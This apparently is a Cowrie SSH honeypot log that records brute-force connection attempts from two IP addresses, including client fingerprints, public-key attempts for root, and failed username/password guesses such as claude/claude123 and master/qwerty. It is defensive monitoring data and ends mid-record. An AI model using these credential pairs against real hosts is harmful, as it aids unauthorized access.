{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36934,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cb2c8b868c1","protocol":"ssh","message":"New connection: 45.156.87.253:36934 (10.17.0.5:22) [session: 3cb2c8b868c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:43.411713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:43.414829Z","src_ip":"45.156.87.253","session":"3cb2c8b868c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:43.496005Z","src_ip":"45.156.87.253","session":"3cb2c8b868c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"1","message":"login attempt [rocky/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:43.922930Z","src_ip":"45.156.87.253","session":"3cb2c8b868c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:45.005763Z","src_ip":"45.156.87.253","session":"3cb2c8b868c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36966,"dst_ip":"10.17.0.5","dst_port":22,"session":"876b31daef74","protocol":"ssh","message":"New connection: 45.156.87.253:36966 (10.17.0.5:22) [session: 876b31daef74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:46.901985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:46.908574Z","src_ip":"45.156.87.253","session":"876b31daef74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:46.989268Z","src_ip":"45.156.87.253","session":"876b31daef74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:47.232099Z","src_ip":"45.156.87.253","session":"876b31daef74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:48.315219Z","src_ip":"45.156.87.253","session":"876b31daef74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.99.235","src_port":37442,"dst_ip":"10.17.0.5","dst_port":22,"session":"de1b4e4f5a09","protocol":"ssh","message":"New connection: 51.79.99.235:37442 (10.17.0.5:22) [session: de1b4e4f5a09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:50.113767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:50.118060Z","src_ip":"51.79.99.235","session":"de1b4e4f5a09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:50.140119Z","src_ip":"51.79.99.235","session":"de1b4e4f5a09","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:c7:40:28:3f:0a:c0:52:3c:bc:80:dd:66:76:55:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDb2vDZKstOgodC1CjuerK4FTDl2nRx7x362xA1XYkWpHhw3uL7vSNzGyeRnwAcCoTX0mt2JewjboE8PKcyjII/LGUxK51AhdKWTYvQmmpbB4MMG1PUkJcqbTT/YA2gebHHemxI2gf8d0z6mZdudS7bEmZWtd2k9rENC6d5GVjsgffNh8QbtcVhAry1pWHIYPpsztYzt3QxrKEs7fyVcVquw1gcT86xe75sPYNyWuCwFUKJROsIsAwd/73oESqKkADXKkwDaioHqvPoEc5Egvr3w56Xnx79pFLQf1hnh2ceH4syVOKNYs0HPwTGqZGsE8FwOa3Eztwv+cWil0B6rIC1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:c7:40:28:3f:0a:c0:52:3c:bc:80:dd:66:76:55:03","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:50.221603Z","src_ip":"51.79.99.235","session":"de1b4e4f5a09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:c7:40:28:3f:0a:c0:52:3c:bc:80:dd:66:76:55:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDb2vDZKstOgodC1CjuerK4FTDl2nRx7x362xA1XYkWpHhw3uL7vSNzGyeRnwAcCoTX0mt2JewjboE8PKcyjII/LGUxK51AhdKWTYvQmmpbB4MMG1PUkJcqbTT/YA2gebHHemxI2gf8d0z6mZdudS7bEmZWtd2k9rENC6d5GVjsgffNh8QbtcVhAry1pWHIYPpsztYzt3QxrKEs7fyVcVquw1gcT86xe75sPYNyWuCwFUKJROsIsAwd/73oESqKkADXKkwDaioHqvPoEc5Egvr3w56Xnx79pFLQf1hnh2ceH4syVOKNYs0HPwTGqZGsE8FwOa3Eztwv+cWil0B6rIC1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:50.227110Z","src_ip":"51.79.99.235","session":"de1b4e4f5a09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":33006,"dst_ip":"10.17.0.5","dst_port":22,"session":"b637b2b39ce2","protocol":"ssh","message":"New connection: 45.156.87.253:33006 (10.17.0.5:22) [session: b637b2b39ce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:50.242265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:50.245934Z","src_ip":"45.156.87.253","session":"b637b2b39ce2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:bd:2a:b3:4e:b8:7a:79:18:7c:85:a9:c1:87:9b:4c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJwgzeU7R6+aE2rjZh+KUjQcgl2ivOc4JJDqF2NkZsl5","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 98:bd:2a:b3:4e:b8:7a:79:18:7c:85:a9:c1:87:9b:4c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:50.249780Z","src_ip":"51.79.99.235","session":"de1b4e4f5a09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:bd:2a:b3:4e:b8:7a:79:18:7c:85:a9:c1:87:9b:4c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJwgzeU7R6+aE2rjZh+KUjQcgl2ivOc4JJDqF2NkZsl5","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:50.251571Z","src_ip":"51.79.99.235","session":"de1b4e4f5a09","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:f7:da:f1:fb:c4:a6:1a:c4:d8:53:d5:e1:59:16:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXaa6WBRDB2DOtt4/M2SiugLGRz96+eshsGL09KiGM1fuvTYGX7vKB/xsxIXzrT7PiWmHkaMrOcU6qMo7Df9TzvNEb1BjjfoLZRvLSsnlDeoI0DrrM3Qmgqsb8xwJnBhrVdVOwFFahZMgaFyVI+0a+D2AvyqL2bcwJEOUyhN4FQyLeJiXICupud2XUy1zuQ1wDU+S/fINy5YdTHftvfz0bSvdU9PIeurLOlXGkZhaESD2AWNlqIUuvif8WkPCgEFQSp6c1em6ZRlXinuZkQTh3ivIVeM74owiHCVLcyLgnPzuaSD8VJMSNqnr6Mkc3vLVAARJ0qEI1fWHeEi5bcOpT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:f7:da:f1:fb:c4:a6:1a:c4:d8:53:d5:e1:59:16:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:50.273741Z","src_ip":"51.79.99.235","session":"de1b4e4f5a09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:f7:da:f1:fb:c4:a6:1a:c4:d8:53:d5:e1:59:16:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXaa6WBRDB2DOtt4/M2SiugLGRz96+eshsGL09KiGM1fuvTYGX7vKB/xsxIXzrT7PiWmHkaMrOcU6qMo7Df9TzvNEb1BjjfoLZRvLSsnlDeoI0DrrM3Qmgqsb8xwJnBhrVdVOwFFahZMgaFyVI+0a+D2AvyqL2bcwJEOUyhN4FQyLeJiXICupud2XUy1zuQ1wDU+S/fINy5YdTHftvfz0bSvdU9PIeurLOlXGkZhaESD2AWNlqIUuvif8WkPCgEFQSp6c1em6ZRlXinuZkQTh3ivIVeM74owiHCVLcyLgnPzuaSD8VJMSNqnr6Mkc3vLVAARJ0qEI1fWHeEi5bcOpT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:50.275525Z","src_ip":"51.79.99.235","session":"de1b4e4f5a09","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:0f:a8:4a:7d:6b:06:1d:7d:9c:f6:fa:c4:c1:b4:83","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJREE0kYd8Nbh73jPkTr72KfLE9zz8C6OnXjbUN/4eHn","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 4c:0f:a8:4a:7d:6b:06:1d:7d:9c:f6:fa:c4:c1:b4:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:50.297493Z","src_ip":"51.79.99.235","session":"de1b4e4f5a09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:0f:a8:4a:7d:6b:06:1d:7d:9c:f6:fa:c4:c1:b4:83","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJREE0kYd8Nbh73jPkTr72KfLE9zz8C6OnXjbUN/4eHn","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:50.300463Z","src_ip":"51.79.99.235","session":"de1b4e4f5a09","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:53:fb:62:66:2c:7f:67:78:65:b5:05:15:35:41:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPgxMkW/oFXMoARRsbNCMaunUfQsmEU7V2rxD7W3NmcB4hlBwbyMc+ZV1QnLz7/XH93Sq5VoPK7rdOsIXMLv+SyoLyVmDi+NZPpkaRRkbeTqzafUSnwv6+hNbB4qodiGsakrv/CYo2CVVlAf5J0R1l6VjL+dFlZV7pDMAEhp446E5XhVti7tvv0iR2K2TsiH7InSdaAkXepP3QrMBkrsVOG3bTdOT5rHOz9my769z/iYInfKKwMC3U/Ral9oBXnHJziL3BW2EKQR2BV4vByn/y81td35q1Aia7P/VSMWl/Utaav0hyGYwoNErCE6krM19cwrMiEpgjhuzwZczRl4hx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:53:fb:62:66:2c:7f:67:78:65:b5:05:15:35:41:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:50.322949Z","src_ip":"51.79.99.235","session":"de1b4e4f5a09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:53:fb:62:66:2c:7f:67:78:65:b5:05:15:35:41:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPgxMkW/oFXMoARRsbNCMaunUfQsmEU7V2rxD7W3NmcB4hlBwbyMc+ZV1QnLz7/XH93Sq5VoPK7rdOsIXMLv+SyoLyVmDi+NZPpkaRRkbeTqzafUSnwv6+hNbB4qodiGsakrv/CYo2CVVlAf5J0R1l6VjL+dFlZV7pDMAEhp446E5XhVti7tvv0iR2K2TsiH7InSdaAkXepP3QrMBkrsVOG3bTdOT5rHOz9my769z/iYInfKKwMC3U/Ral9oBXnHJziL3BW2EKQR2BV4vByn/y81td35q1Aia7P/VSMWl/Utaav0hyGYwoNErCE6krM19cwrMiEpgjhuzwZczRl4hx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:50.326091Z","src_ip":"51.79.99.235","session":"de1b4e4f5a09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:50.331971Z","src_ip":"45.156.87.253","session":"b637b2b39ce2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:50.347551Z","src_ip":"51.79.99.235","session":"de1b4e4f5a09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:50.576184Z","src_ip":"45.156.87.253","session":"b637b2b39ce2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:51.659913Z","src_ip":"45.156.87.253","session":"b637b2b39ce2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":33018,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad946a82859d","protocol":"ssh","message":"New connection: 45.156.87.253:33018 (10.17.0.5:22) [session: ad946a82859d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:53.723549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:53.835302Z","src_ip":"45.156.87.253","session":"ad946a82859d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:53.838099Z","src_ip":"45.156.87.253","session":"ad946a82859d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"qwerty","message":"login attempt [master/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:54.159084Z","src_ip":"45.156.87.253","session":"ad946a82859d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:55.243250Z","src_ip":"45.156.87.253","session":"ad946a82859d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":33030,"dst_ip":"10.17.0.5","dst_port":22,"session":"c925ae127279","protocol":"ssh","message":"New connection: 45.156.87.253:33030 (10.17.0.5:22) [session: c925ae127279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:57.168895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:57.176192Z","src_ip":"45.156.87.253","session":"c925ae127279","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS